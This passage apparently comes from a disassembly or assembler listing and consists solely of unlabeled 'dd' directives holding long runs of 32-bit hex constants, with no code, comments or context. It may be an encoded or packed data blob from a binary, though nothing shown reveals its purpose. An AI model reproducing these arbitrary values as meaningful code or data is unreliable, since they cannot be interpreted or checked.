2E0A8679h, 0B987FCACh dd 924B57BCh, 0DE055F81h, 0EBD22022h, 0C90BFCEFh, 81DD09FAh dd 18D9F595h, 53CECh, 37511076h, 7135852Dh, 71E12E5Eh dd 11CA0707h, 9D685D04h, 53AA33FFh, 0CB7F7BC8h, 0F3584B60h dd 0E51867CDh, 766192Ah dd 8D0BE7E9h, 74685259h, 0ADC46FEAh, 2748AD03h, 895F598Dh dd 475101B8h, 28EB2D82h, 9D00FDDFh, 3A9243D2h, 0C674E912h dd 22A64729h, 7A8C01ACh, 2F41D1F7h, 2816323h, 9369EFBCh dd 0FA692934h, 90A5404h, 0F1F8E9B4h, 0E5BB452Ch, 58FE8969h dd 0CBFE28C7h, 5DEA5CFFh, 0C330540Fh, 0E04828E9h, 100438F2h dd 0D6012234h, 4FF610B4h, 66164932h, 264D2B66h, 170649CFh dd 6201D7F7h, 0FEB1B30Eh, 26F6876Fh, 0F1065FE4h, 344B2EEEh dd 901A010Ch, 76E98973h, 0B9256BA4h, 0C012C3A6h, 2D04A21Ch dd 7EEA5201h, 571D2751h, 5C5B7344h, 0F008012h, 48BB7B5Ah dd 962F9231h, 9B6A5255h, 0C051D6D6h, 5237680Ch, 25A58929h dd 0B65A85F2h, 280A10B3h, 96FB112h, 0DF616891h, 0EC702BBEh dd 16091199h, 0EC740120h, 250CD01Bh, 8C0C735Eh, 5A0D0268h dd 1D0014Ah, 0B9DA3EE9h, 1515BC23h, 0C605B39Ch, 0EB2B74BBh dd 9AE39F09h, 0CB46DE8Eh, 0DCC48ED0h, 43EBEC53h, 1205C1ACh dd 1118FFF4h, 400AEE12h, 5E0FF348h, 82C0B70Fh, 7C438E68h dd 971B42C2h, 8DC24105h, 4F0FFE27h, 9DD07EC6h, 2579EA06h dd 10C3560h, 0FBB11CD7h, 6B5275E9h, 0B861B31h, 37C7CD3Ah dd 4EE90CEEh, 0BEF53BBh, 2D3667C3h, 8A09B5Ch, 0D4215926h dd 12E8C101h, 0C02EC831h, 510DE9FBh, 2552F4B4h, 48F82DA4h dd 3AC1800Eh, 0B33E16Eh, 0EE875291h, 98EBC0B8h, 6DB8D930h dd 193C84Ch, 68C32CD8h, 0A568509Bh, 1AB75380h, 0FAE0BCB2h dd 44062ED6h, 7A7346F5h, 0E8302EFDh, 0CB8B5AE0h, 80699FD6h dd 0A978C508h, 96BA900Ah, 319B2D56h, 32AC50D9h, 0C79312D1h dd 899F4BE8h, 27E8D9F3h, 0DB5857ADh, 91815A35h, 80041B18h dd 80FDB550h, 4FDACD40h, 680A21B9h, 4FE8681Bh, 0E90B66CBh dd 2D694F62h, 3F172FFBh, 0F5B798E8h, 755DFF41h, 0C7AE7C8Bh dd 0B2541216h, 3D5C4C9h, 0EBE0413h, 0A6802E0h, 76E19A65h dd 9EC54B6Eh, 3498AB0Ch, 0D1F0BBDh, 5480013Ch, 23D3450Ah dd 0B01C5ECh, 0E938E004h, 9D81CE63h, 114005C6h, 0A2F6D808h dd 46B75901h, 3676684Eh, 900FD36h, 486E3760h, 14022E35h dd 0F4054FDEh, 4E0055A7h, 5ABA52D0h, 38042A0Bh, 3128E42h dd 0FA034454h, 0BD167CDAh, 0EE409284h, 5EC9C011h, 0D14F899Bh dd 0F035FDA0h, 0BF9F3573h, 0D34EEF9Ah, 20E9C729h, 0EF5F5699h dd 0B6C0326Bh, 0A579CF05h, 0FB29FA26h, 0CC59AF39h, 0A4E6F4EEh dd 84E707C9h, 62283010h, 0A3C1E2CFh, 0E6F7F05Fh, 5CE90DC4h dd 0C4BCD394h, 8C5BBC48h, 271F07DCh, 0C2DA517Ch, 0E90802D4h dd 0BF4D7812h, 555CA3CEh, 0B8807D11h, 57480036h, 6752354Eh dd 4F986F9Bh, 7E1B540Bh, 1423FC6Eh, 2C7508E9h, 88530ACCh dd 0AF3F7888h, 0BAC0010Fh, 5BF464D4h, 0A5D54C31h, 1672EF24h dd 0D36ABC4Ch, 5BF61284h, 2D918E30h, 6201415Dh, 2CC23573h dd 31FD6DB6h, 0B2E8B954h, 122BCAB4h, 0C7803FE9h, 52DD829h dd 6321C09h, 0E938885Bh, 983E2A20h, 9FD7BC8Bh, 5D58A0B3h dd 116C44Ch, 72C072A8h, 0E90C9451h, 0A9C2044Fh, 0DAFBE1B2h dd 3980D2C8h, 0C384A8F2h, 0C7D32832h, 5A665362h, 48E00A3Dh dd 0D4C12C08h, 16F0784Ch, 0F54CE272h, 8A472D30h, 891610C6h dd 0E9B84AD4h, 112B86A5h, 27D4348h, 59847807h, 0C2657431h dd 497085E9h, 38A0B73Ch, 0AFF83DC5h, 7E3F89D6h, 16E47BDAh dd 0BFA608h, 1D6BD6BAh, 0E2058131h, 3F114254h, 0F4FC22C2h dd 78FBC2F3h, 0DEDB18F7h, 696F9907h, 1ED49003h, 54EEF524h dd 0E9DCD449h, 0B928BA0Fh, 0BBD2F59Dh, 712BA2B1h, 0DBEE834Eh dd 7E5E4151h, 11EA3541h, 1ECF639h, 0D29790CAh, 5F24A611h dd 51411491h, 0E56E8D3Fh, 5AC5245Dh, 0CB5F9398h, 4E1877B3h dd 0D0311093h, 0FAAB939Fh, 28F0226h, 53499304h, 0D6C4017Ah dd 5C05F669h, 75D5BC89h, 680912B4h, 0A8E0F9C2h, 6281099Bh dd 0A75C0AD7h, 6FCE906h, 4EE27723h, 0BBEEC4E8h, 1D20CE29h dd 0E53C09F2h, 38E4825h, 0C14AAD3Eh, 1EB50C1h, 1130D801h dd 89AD81DFh, 56ACD2A2h, 0BF586415h, 92D11721h, 5C83989h dd 590EB172h, 53C68956h, 2158AE04h, 75E9ACC4h, 68535200h dd 6EC87FAFh, 9639C5B7h, 0E20D20FFh, 0A52661A0h, 0F240DD47h dd 504B5AD8h, 0A2AE20Eh, 1F4D405h, 918269BDh, 37CBDEAh dd 0A0BF064Fh, 512D04D3h, 0C05ACF5Bh, 88D6812h, 85B96EB1h dd 0DA10E9E5h, 7C6732AFh, 4FBF16F8h, 82F2404h, 0F7092B07h dd 538686E1h, 94A655D3h, 44F7213Ah, 37EE4D1Dh, 0E45D2AE1h dd 0D57388B0h, 0F67FF316h, 553A7E82h, 24E4EAE0h, 0D150C49Eh dd 319955Ah, 95EF4753h, 0C25A0133h, 0C529212Eh, 457D30CEh dd 2260CFB6h, 0FA618016h, 4BEC5AF1h, 5E11EF6h, 566E8258h dd 0F5C7E576h, 44D87582h, 0B330AC8h, 3430973Dh, 0EFE531ADh dd 0F8E4802Ah, 0ECB7C968h, 6AD7026Dh, 36E94B26h, 2909EA7Eh dd 8F6B48DAh, 0B3C69D2Ch, 0F9E5A5B7h, 0ADAA7281h, 9657AC02h dd 3B7F2558h, 0D21A73F9h, 0FB598270h, 12E1D130h, 0B0C3EC5Ch dd 0C1E574FCh, 0AEE9C1B4h, 5EFB0503h, 5315521Bh, 83CB45E6h dd 8B38F8EAh, 5CF7A446h, 8484F2FDh, 0BEB812ABh, 0F3E10h dd 0C46ED42Dh, 1F630569h, 0C96BF57Dh, 24D491F0h, 4E2FC34Dh dd 0FD365D92h, 5B538950h, 1F660688h, 0C61C8058h, 0E3A452F4h dd 5EE7FC09h, 470F4144h, 5B228262h, 5508BD16h, 493B0AE6h dd 0DEB0DA87h, 6620CF6h, 0F12E1DC8h, 4A6F7912h, 0D4036009h dd 5BCF606Ch, 810058BFh, 565D8DF3h, 90554301h, 0D06F2CC7h dd 544BCF0Fh, 3F2AEDF8h, 7895A59Eh, 18DF0F6Eh, 14A5312Eh dd 69EEED2Dh, 0F0FA54EAh, 214B80E9h, 125939C8h, 282FD668h dd 0BCA814EDh, 7A48E380h, 23377AAAh, 10799FF8h, 0B9906513h dd 44F1023Bh, 0C621305h, 75CB2F7Fh, 0C36B55h, 1554B260h dd 445B4E66h, 0EE3C122h, 8E8A040h, 105810Dh, 62D7B94h dd 0D416B52Eh, 0F80A7F6Dh, 0A1C38933h, 1A75E300h, 0EBE93403h dd 310B4F3Bh, 0BB0200F6h, 81723A70h, 61DACF00h, 95E96A38h dd 0AB249515h, 78A38271h, 836FF841h, 5EF5010Dh, 596CC268h dd 49C893C7h, 0C204ADB6h, 0DA880345h, 82D19A5Bh, 77347C64h dd 0EFECEF9Ch, 62887391h, 0F1F02D98h, 0FE491FF0h, 0FB52273Bh dd 6EA20256h, 0DB4053F3h, 0D04115Eh, 408EE9ACh, 11411DCDh dd 9F07CC61h, 0C0B4E8F6h, 0A01736BEh, 0D1C900Ch, 19D61BE5h dd 5CF04E6h, 81215E08h, 97289F76h, 0D30CE3A5h, 95B9062Bh dd 2404A259h, 0ADC36187h, 7DC88CACh, 891540B5h, 5CC14195h dd 0E34D917Fh, 0F5290112h, 2510C86Fh, 0CF02F1B9h, 60D70F6Ch dd 0BE3B5F55h, 0A9408132h, 0F9019498h, 6EAA215Ah, 0FE56975Eh dd 5E7FF08h, 159CA87h, 552B90F8h, 47FA641Bh, 0A35EE917h dd 0F4002FCDh, 906755C3h, 0E2EF4B1Fh, 0FEF72488h, 1DC6B08h dd 0E6158FBEh, 32C12F3Dh, 327AEA1Ch, 3F54AE29h, 0D35E5409h dd 5FFE0B73h, 23A4791Ch, 0F9C88437h, 19C37960h, 0B1BBB0C4h dd 0DFE8279Ah, 20AA1C53h, 5550B556h, 9AB90551h, 0D537B843h dd 272B989h, 442854C5h, 46F9804Ch, 4ACDE0DFh, 221E931h dd 0A4DD7456h, 0CF3BE329h, 0C8B8E930h, 958CE8A1h, 92DB570Bh dd 0EF304B02h, 2E37E25h, 55444254h, 0A66355h, 8006BB12h dd 4D47E962h, 416D9BB5h, 87F9FFAFh, 0F581A680h, 142E6693h dd 2E56214Bh, 295CB504h dd 0F9E77AECh, 9C1A4BA2h, 0DD895556h, 27A54C8Eh, 0D5B223F5h dd 10BC5041h, 170F7DC1h, 215F1AE8h, 2EB62A77h, 40426ECCh dd 0FB5B01C2h, 96EDC3B5h, 8FB86B87h, 0C32A9446h, 0E0980252h dd 0B5022D03h, 29DDE472h, 0B99F0C3h, 19A37FA5h, 0B5585442h dd 208E671Eh, 6D88F967h, 1495E33Ah, 22412A13h, 0DCE98C89h dd 80FFF942h, 0D4654A1Ah, 2C238076h, 8D74FD2Eh, 58963CE4h dd 0F7052EAAh, 7AAB3FE1h, 69F802CEh, 69D42F36h, 4CA00500h dd 9701ABDBh, 0C0C04B6Ch, 49B34255h, 0BBEA0781h, 601934DCh dd 0D078DDEBh, 25E97A5Ch, 48C9A416h, 0FDD712EFh, 41BC5B82h dd 0E40C7330h, 46046653h, 0E5E9F001h, 0B75F40A0h, 294AD216h dd 8D10A05Fh, 0E4D4F54Eh, 12D3FA82h, 0CC1D4C1Ah, 35D74BF0h dd 0C5FBB8EBh, 0D9A002E9h, 5C3A9D05h, 70798EDFh, 2D221C20h dd 0B022C03Fh, 0C588513Dh, 602D9093h, 0E0E9F354h, 7F16954Ch dd 0BB535000h, 4B5C3330h, 0F0FB5F87h, 0A9E44FAh, 17756615h dd 99A28CBCh, 0AD00502Fh, 7BE32E5Bh, 0E92A059Ah, 8295B772h dd 5739F3B9h, 2B14B46h, 0E9840548h, 0F11231B1h, 5F123B41h dd 612F98CBh, 0F331C502h, 0E009B0F8h, 806CD636h, 0F244B55Eh dd 19F1EB72h, 0E346914Dh, 0DB807C1h, 0A21FE11Eh, 4A7EC24Dh dd 12108188h, 2B05B15Ah, 0DC48FB2h, 65F889Fh, 5759CD98h dd 94A34F67h, 0A00BA94h, 0E93F806Ah, 37A1A9DFh, 1C492C37h dd 0FAA64097h, 7CEC4D0Dh, 202B2FF9h, 8A691617h, 18612840h dd 0C19E656h, 1E2FF32Ch, 4FA0BC1h, 56BA3AD2h, 96D7E3B9h dd 1770E5EDh, 0A8F577FEh, 0AC8A10C5h, 0D9F75E05h, 0C4F40850h dd 0D45D5433h, 5BC07BECh, 6827BFA0h, 433F822Eh, 0FD74C5h dd 492BC102h, 2865586Fh, 2D9DCCA7h, 2C593ABAh, 5DEF01E1h dd 9F02C7F4h, 0E92C3D6Ch, 5967308h, 277A98BDh, 0E912CF56h dd 37690A75h, 24E5ADh, 0A541E168h, 43035B05h, 429BF381h dd 0DBF78935h, 17E11F30h, 166E989h, 440F34E5h, 9D64E046h dd 3883AD80h, 137D207Fh, 918D1784h, 7133892Eh, 0EB0C82F2h dd 80270938h, 1C41E2BAh, 0D0017C5Dh, 5F51081Ch, 0E8A01404h dd 397FEF35h, 68DB8549h, 66414FE6h, 0C09FB652h, 133003EDh dd 400B5FFFh, 80D8B039h, 0E4B826C6h, 1427B95Ah, 0E68AD582h dd 305F791Dh, 0EBC9C5F0h, 9798582Bh, 97C80F88h, 4B4F6880h dd 38B6305Bh, 6517B178h, 33ECC709h, 42576882h, 34418772h dd 0F0D99842h, 81CB856Eh, 9A2CBEBBh, 5F26711h, 47614909h dd 0AE60518Fh, 686C7E7Ch, 0D4AC4B4Ah, 1777E940h, 0A3EA77Dh dd 96A31767h, 0EF1900DDh, 816DC872h, 65E3E21Ch, 80BD2C12h dd 32B4002h, 760B3167h, 1308441Eh, 861C2F9h, 0BC7D5868h dd 0AA18AEE1h, 66C331C0h, 211CC48Fh, 0DEB4FD8Ah, 59C592D2h dd 564870BCh, 5858C05Ah, 0A290D101h, 0CC2F6408h, 97E98421h dd 0A01123Fh, 313E15FFh, 0E5DF037Fh, 0C78C4504h, 1EA0000Bh dd 9F9089ECh, 27F90126h, 570CA10h, 0DBC380D3h, 8CA9C5Ah dd 3CBBDAA8h, 18FC5724h, 0DFC77912h, 5F5E1C32h, 0F0F814E1h dd 65B11286h, 512F1E26h, 0A7550BC0h, 0B60B59C6h, 856E645Fh dd 0CFB40EDEh, 95D1830Ch, 802E8589h, 0E5F3ADEBh, 7A692C4Dh dd 0B3544489h, 21E868AFh, 4A0D8B1Bh, 1340E952h, 0DF049241h dd 684A607Fh, 66BF2B5Fh, 730E4CC2h, 4F419217h, 86F5C71h dd 12491D26h, 0C020E2B0h, 760506C3h, 1658C711h, 66146C25h dd 2DE5B28Ch, 6AD311A5h, 0C844E9A6h, 0B74ED6B8h, 98F7D51Ah dd 0C0DE29D4h, 7BF0BB38h, 14CA650Ch, 8989A32Fh, 958516D5h dd 0F3958670h, 0E1E904AAh, 9235A888h, 0CB5FC3CAh, 544261D2h dd 0FF28AEE9h, 0A86DB517h, 66F992D7h, 2DA4C328h, 0D418DB55h dd 0EBB6A8AFh, 5324B473h, 0E948028Fh, 4466B59Dh, 3BA7585Bh dd 0CB9CE982h, 0BE4A845Ch, 70E32812h, 0A6A84979h, 42D9502Fh dd 12C49BBh, 7F7D2AECh, 6442D58h, 0DE2A57F1h, 32E9090Bh dd 7A165C08h, 489EFA6Ch, 8B1E5552h, 69E93340h, 47E3D549h dd 5DE930C2h, 0E0D5E55Eh, 6880F4A3h, 0CD3C4AD9h, 0CD43F801h dd 8E4FD197h, 226759E4h, 9712E25Dh, 6197FA66h, 28C98527h dd 6880C662h, 2F8A3DCEh, 4DBA5E07h, 817005B1h, 723196C2h dd 2D0CC079h, 2977032Fh, 0EA51F27Eh, 140CA008h, 693CC697h dd 170BAFE9h, 0A65F23A3h, 218CD64h, 8B3FB891h, 9CD7897Ah dd 405084ABh, 0D290594Fh, 15406F23h, 7F540EB5h, 1E789501h dd 0E95E0880h, 0D944B225h, 2BC4CF7Bh, 0DE48A9A8h, 0AB1FA6CCh dd 62585AC2h, 0FF70C8FDh, 0F11208B0h, 80BC025Fh, 0BEE0E89Bh dd 0E9271E61h, 207760A2h, 0F65912EAh, 0F900BFDAh, 55C580A0h dd 3CCD75FEh, 9756FE5h, 5F9E9A5h, 892598E4h, 79E45EEAh dd 3F497155h, 0F5C9609h, 0EC814h, 1A15C6BBh, 0D8008945h dd 6997355Bh, 90D5520h, 2E9F109Eh, 5C507089h, 5B97DDBCh dd 0EB8052BDh, 6C4066C2h, 452D0CC2h, 3FA684D7h, 0CAAF21D4h dd 0B91C64BFh, 1507C21Ch, 61F25B51h, 0D10AB9FDh, 0D132E599h dd 740C8273h, 0D54D2E8Bh, 0F032C30Bh, 20BA3B5Dh, 813E89B2h dd 0D52304F6h, 0EF1095Ch, 1E677C39h, 53A191C2h, 204E3512h dd 7C180A19h, 0C6CC3A23h, 50032762h, 8A07D54h, 76926812h dd 1B4072A3h, 0D8294F5Eh, 0FC30E971h, 53EA71DEh, 67852C3Bh dd 10042DDFh, 2E41C95Ah, 8623F821h, 56BFE004h, 0AB0E70A2h dd 5805B1E8h, 98E4D821h, 65FE6027h, 0B8303BC7h, 0F73A2376h dd 36EC0497h, 0AA9115E9h, 0B740DE01h, 3FB850D6h, 16A542B1h dd 656972C1h, 523C6A65h, 0A2864D9Ah, 0FA78228Bh, 42E2D100h dd 3515CA81h, 0EC176041h, 2E3D6C32h, 0C20092BAh, 0CFB75CA5h dd 32E9D609h, 0EBB3DC20h, 0B2A0EDDCh, 5EF9A9B5h, 80FA164Eh dd 25F2808Ah, 0C2B88095h, 72885315h, 5BF91CD7h, 0FFF11C5Ah dd 63D8D1A5h, 685DFF8Ah, 0C0BE80A5h, 0D163510h, 511F26DCh dd 0C98999B9h, 0E2E001Bh, 4A63DE1Fh, 8097A441h, 4C564A17h dd 2959DF07h, 93FC8999h, 0E9B1C7EAh, 306AFC0Ah, 60E7C9D9h dd 0D1563D0Bh, 0C056E1h, 371F7148h, 397ADE9h, 96D0883Fh dd 5B5A7546h, 89D387EFh, 0EB62C159h, 42F07C02h, 5E05B833h dd 8108FFC1h, 71766C30h, 0BE56022Ch, 147E57DBh, 0C678D858h dd 5DA97500h, 28E9F109h, 606481F9h, 575E02E9h, 4D29DF2h dd 898F780Fh, 0F7FE0C58h, 3242CA4Fh, 7EDFCBACh, 2C792FA8h dd 0EB88524Bh, 4B16C01h, 0CFD26F67h, 0FF125DD0h, 48CFEC5Fh dd 71776F0h, 53422CD3h, 0A62AEFC0h, 0A0D6F74Eh, 302F1079h dd 30CBBEBh, 4417F28h, 437D8B40h, 0D9E65CC1h, 59C5E019h dd 0E829C85Dh, 0F4B862D2h, 0E3327613h, 94C317C3h, 4E6E55E9h dd 4A604C60h, 0EB0389AEh, 30DD2D5Dh, 0CB50876Dh, 14312A67h dd 705D801h, 0EBF1E91Bh, 34B93093h, 2D5D7384h, 706A25Ah dd 0E3C002A6h, 820107DDh, 0B8D9F333h, 4F5AE992h, 7889B286h dd 0B0372520h, 4BDD58AAh, 5BC5935Fh, 955F5FAh, 0E46F7616h dd 0D560B24h, 3430183Eh, 0EAE225E9h, 135B2E76h, 0F8D2821Ch dd 0C3E1C5CAh, 2968BDD8h, 0A59A1486h, 9569A0F0h, 232B53h dd 745F78A9h, 49A6BC3Dh, 0C20FF56h, 1A45E917h, 0E9B043BDh dd 57D7D68Ch, 0B66882D1h, 82E4372Bh, 1857546Ch, 1D7F85F4h dd 5BD7B1Fh, 0C584E080h, 2D84C58Fh, 12883ABBh, 6D949F5Bh dd 252B9E9Dh, 30A5B3E9h dd 0DD20AFE1h, 0E6E68146h, 3E863B70h, 603FEE2Ch, 7DCFC3C6h dd 0F201C105h, 0D4532DE9h, 1958AF01h, 22707A05h, 3730D795h dd 27D3B205h, 88E25604h, 1680F296h, 0ECACCA21h, 8364EEF4h dd 4BA706C0h, 586548FCh, 9CC8352Dh, 66BF6F68h, 27BDA01Bh dd 4E3C0BC4h, 0BE4076E9h, 265E67BBh, 0DB34AFC1h, 6F106D7Ah dd 0E913218Ah, 908F534Ch, 0AA221B74h, 0C3EE38C1h, 8BE6AD05h dd 0FA7CD6C7h, 927BEB57h, 0A29CD708h, 204BEC9Dh, 667C38D9h dd 82E83278h, 0D352BCD2h, 0BD687002h, 0FA284603h, 77F7FECEh dd 58FE948Bh, 2F86B850h, 82674084h, 0A501F625h, 527A2AF9h dd 3FEA0BF8h, 0B2004970h, 590B03C2h, 6001413Bh, 5B1AD97Ah dd 0E0C10742h, 109F0502h, 0C22937ECh, 0F9BEED98h, 0D2E16C2Dh dd 0A74DF8C8h, 18CD1805h, 0F34EC929h, 795C8B5Ah, 0D5599810h dd 416FC068h, 3D45C84Fh, 1516AA19h, 7AB82C96h, 0BA625C26h dd 0FBE7FC2h, 2D4CC097h, 0B7257EEDh, 0E080F407h, 17B36D54h dd 7B0909B0h, 4CAE10h, 61A9631Ah, 43E9191Dh, 2B5C5C09h dd 572D1ECAh, 0E984537Bh, 21ABBD88h, 2AF71D0Ah, 6EA92AC0h dd 0C4B604Dh, 44C301DDh, 792037B8h, 92AB0B2h, 298D1836h dd 312C825Dh, 9D96F8F5h, 0E9130E5Ah, 0E223B0E3h, 5AD791EAh dd 5D3FC22Bh, 0B4F7A8CAh, 14EE20EFh, 5D9960B7h, 784E9F10h dd 28611095h, 525826C3h, 0DB4188EFh, 676E4C2Eh, 0BE402C2h dd 291B78B8h, 1DD121F5h, 5A1487EFh, 0C582EB88h, 2007C42Ch dd 60B7F93Ch, 27BD7829h, 3CD81D3Dh, 2A122D04h, 1FAE04D0h dd 0C9404203h, 8580896Eh, 0FE9E821h, 3CB363B2h, 27797BAFh dd 0E0E91C7Bh, 0BFB6E98Ah, 99545D04h, 19526F40h, 0EA007A2Dh dd 0EBE76541h, 16AEF7F0h, 0F2506E3Ch, 20292605h, 0E7060A28h dd 7BC422E8h, 1C5D0B2Ah, 0F55C0F7Ch, 6BC1A80Eh, 9F944088h dd 4E319213h, 425744FEh, 0C1C51C80h, 8F0020BEh, 3403E0C0h dd 90284ABDh, 0B7E95548h, 25F047BAh, 2C74E8E0h, 5E596626h dd 58A779AFh, 3E5AB8E9h, 0ED007AB6h, 27442AD7h, 0CAF1C501h dd 0E580886h, 2C2F91BDh, 0F358CD02h, 68272590h, 31BD7AF4h dd 0CD19E34Dh, 3C964159h, 0E5303A0Eh, 0B86674EFh, 3BA6FC64h dd 0ED590126h, 0DE0FB23Dh, 4592E95Fh, 0FCD831ABh, 40AC4AE0h dd 21C15CF2h, 0E1253A35h, 5D873EA9h, 0B877398Fh, 0D77F8A2Fh dd 9EF0BD60h, 0E10F17B4h, 25378445h, 3076C1BEh, 0ABCC6B11h dd 0E78F69DEh, 99268E7Ch, 5ECCE9D8h, 94ABA3D9h, 0BF3620D2h dd 0AF3B6731h, 0B60ED989h, 0B1941784h, 84E40F4Bh, 2EDA515h dd 11DF66C9h, 3989147Ch, 337E5468h, 0C88297C5h, 6352D634h dd 74E3F381h, 37E91813h, 3E0560B0h, 0F854FACh, 0C2DF001h dd 0E93D5E07h, 58CB9765h, 71578B85h, 0E5A73EBCh, 592A900Dh dd 364A7C68h, 66034E3h, 5EFD1AE5h, 2934297h, 70B2E907h dd 132C2E1Eh, 8C4A3CECh, 23092E18h, 804973E1h, 0B51C9F70h dd 7C314C11h, 0E5D3012Fh, 89D0290Fh, 4CA329D7h, 4E70F823h dd 0F68F9040h, 1F4B6B3Dh, 16014EBDh, 0E971C72Dh, 0B135821Ch dd 0C0E18021h, 82BB9B97h, 402D0ED6h, 2926512Ch, 0B931025h dd 0FF729AEBh, 0E7D1C304h, 68023152h, 1279334Ah, 50BEA9Eh dd 0FB0A2036h, 0B0174E1Ch, 26E27CD6h, 50DAF7h, 1F733CCDh dd 0D997FA29h, 0D2F78B95h, 97BAFF00h, 29125B02h, 0FAF05AD6h dd 1B472014h, 8824F90h, 2150B25Ch, 0D1E5B5F9h, 0E402F027h dd 75B45A1Bh, 0F539EA70h, 1323AC70h, 0F2728F36h, 150435D0h dd 61D7D282h, 0C1049883h, 0DFDE1Ch, 3DF9E668h, 3E1B9739h dd 66018317h, 4D23F581h, 0CDD80C6Fh, 0FF7D17C8h, 4051C046h dd 1163A655h, 0B2D7499Eh, 5DA3E1C2h, 6D21178h, 0BD037E1Fh dd 2D11C104h, 27F0EB5Dh, 7266B5E6h, 5920EEB0h, 92CBFC64h dd 40BA0648h, 0D26B9E07h, 0EA546317h, 99842404h, 0E719AEADh dd 2429BAAEh, 5909CF48h, 0F902C783h, 4BB2A7C1h, 49A8E445h dd 8F27323Eh, 0DCEED101h, 6C385482h, 7A645D35h, 0A4C0C600h dd 0F30134C2h, 85824BE9h, 231647h, 0F61D1F9h, 0AA0BBA23h dd 0A26560C6h, 5AC1FF6h, 0FE6E8CBEh, 504E8948h, 70123613h dd 5AE4CA4Bh, 7D7602C3h, 25E94DF5h, 4C2F5856h, 0D8D083D9h dd 9D2E9109h, 8F208658h, 49BAC39Bh, 2999E65Bh, 0E27F20F1h dd 7D30034Ah, 0C07AFDh, 5FE58142h, 0F7552D04h, 102D7898h dd 49851A90h, 817E3B79h, 57C9D3Fh, 6A7BF5E3h, 40461792h dd 729A3A9Bh, 0B9FBE32h, 1904131h, 5E7AE62Ah, 4AA270C8h dd 0A59EEC2Bh, 36C4E6B7h, 82580B09h, 4CB48FEh, 0C039BB5Dh dd 212A2731h, 3B98C85h, 100285BAh, 0F90A8BDAh, 0F9D649CAh dd 515FA819h, 3515B73Eh, 0CD839683h, 0E1A7042Eh, 0AB864A0Bh dd 6219E100h, 2D415AB2h, 0D70D1F7h, 0BEC4C5B5h, 512F40F7h dd 0E288521Ch, 0FC14D197h, 0B0D24C6Ah, 9C66FD30h, 29446C83h dd 1F848B5h, 4E5279FBh, 0F173408Ah, 730B2DB1h, 860AC890h dd 879014BDh, 6693BA24h, 0EF5808D6h, 2815228h, 847B9EE9h dd 13D2E749h, 0C766BCC7h, 2CE9FA5Fh, 435434B3h, 1731DC18h dd 0FB873982h, 2D208160h, 9A603B5Eh, 0A7161AD7h, 0FAD0314Bh dd 3C5008E4h, 0B6D0F76Bh, 5B8CF8FCh, 0E107002Ch, 7D47AE4h dd 62E910C2h, 0EFD4593Ah, 808644EAh, 8007ECC0h, 6CF05F4h dd 0ABB6C96Ah, 3C2E5C22h, 0CCCB5513h, 0E8B297ADh, 6933D197h dd 5E8282EAh, 4664D2ABh, 97C2B24Ah, 4B907D31h, 0A9831729h dd 2B807AFEh, 37278668h, 8DF85D1Ch, 5318CF9Eh, 3A48BBF0h dd 0FA003891h, 813D0C7Fh, 16195BE3h, 950721Ah, 7E7B5C03h dd 0FAD8E4Eh, 0C8D6A7DCh, 1275C446h, 0F3195068h, 7D6F1BF6h dd 6065E71Ah, 572660BCh, 48893884h, 4F011F95h, 411D3D1Ah dd 0A106FFh, 31347ABBh, 323A2EC1h, 0D1616F2Dh, 0CA2F3C27h dd 7E61209h, 63418FAh, 0CA4AE905h, 0D7F7CB04h, 2C7E2380h dd 0A10F4A37h, 18E3E7B1h, 2A3F44F1h, 9375A94Eh, 9E6ABDA4h dd 0C4680576h, 95B04614h, 0AB21ED7Eh, 9A59AD60h, 2FF6E9C3h dd 0F08458D3h, 0B09EE7Bh, 70F5CC1h, 0E59EA28h, 324E879h dd 698B157h, 287E7A49h, 0ECA054AFh, 0AA83F19Eh, 9CC3AB01h dd 442A969Fh, 9235F979h, 0C4F51F12h, 2F12C578h, 0D0A7ADEEh dd 0C9F825C4h, 0E12BCD90h, 689D85DBh, 4D2161CBh, 0E92865E9h dd 27EC800Eh, 6B9EB66h, 0EA602B64h, 89256805h, 7A757A1Ah dd 27DE39FFh, 9EB15E67h, 2646130h, 0B20FBD1Dh, 0F7D1E29Bh dd 40B9E909h, 4BEAC0AEh, 700F206h, 7BB25272h, 0F68DC260h dd 0C9E925DAh, 14F5B142h, 0BE681396h, 1012E32Ch, 5558EB57h dd 0BA0D3107h, 4E8E5C8h, 49166CAh, 27FF5753h, 0E2FBF799h dd 8E7C7FD2h, 4A636841h, 0EF99AE2Ch, 6007C082h, 332B3095h dd 0D62C8089h, 7FB15113h, 1328E608h, 940D005Fh, 0C12C6970h dd 7C02E530h, 251041Eh, 5FFD2120h, 5240D5F7h, 0A27B1E8h dd 0BD555678h, 0B805B420h, 2554422Fh, 2994F584h, 8BB39CAAh dd 7757CE40h, 0CB705959h, 7EE55A27h, 2066CC2Dh, 0E917726Eh dd 51A42FA1h, 25C1E70h, 0A14ED711h, 778F2BDBh, 0DF895702h dd 0D2AA53E9h, 769DA8A7h, 968CDDE8h, 9452A9C2h, 99D44F6Dh dd 4B5ADDB0h, 0BEC164EAh, 75C93985h, 0B00F7968h, 0A418556Eh dd 8613135Fh, 9AE92D01h, 0D43B3B51h, 980FBA7h, 0A882FAE9h dd 0B055E7ECh, 0C9CE4F77h dd 0BF43A3Eh, 1F67BCFCh, 8C6B1768h, 0E5F3D62h, 0C9E4008Dh dd 663E2751h, 7C705FFCh, 0D5A50927h, 6AC8F989h, 0B380A23Dh dd 0DD082C37h, 0E5C00EB0h, 33760ED2h, 1907E2C4h, 8F31FE04h dd 0D526B03Ah, 5FB1DB0h, 34CC44FFh, 63C7AF32h, 0E6A496E4h dd 0E4335448h, 0CCF15AF2h, 2498565Fh, 0F78AA0B5h, 765859F8h dd 2FCF0030h, 0E971E00Eh, 22DCDD88h, 8766CB09h, 0E307E485h dd 2C595863h, 7A52B10h, 5FD4F605h, 0F5F065FDh, 0A08DE820h dd 807A7C43h, 0A50F6852h, 666D0A26h, 9F17A1E4h, 0FBFEB2A9h dd 21D5C382h, 1CED58A5h, 4505E0C1h, 0C11D407Ch, 88ADF868h dd 88641EE1h, 1177ED4h, 22BF1213h, 0CA772D87h, 200A5AFEh dd 0C2A0B5F0h, 8C1752C0h, 5FE9054Fh, 5DCA0750h, 0BB27C00Ch dd 897D936Ah, 97F94617h, 144EAC93h, 8113F7F9h, 0B02AEEFh dd 59F82150h, 18E862E8h, 7D3BE055h, 0DAB48658h, 95960D6Ch dd 3E203550h, 0A4F65A03h, 7650E169h, 715A2C63h, 0FCF5D1A0h dd 17C93B29h, 45D3E50Fh, 7B811449h, 0DA80408Ch, 0FEBE9585h dd 0F6E24D34h, 8C31FBD3h, 417EBDE9h, 78B4F5FBh, 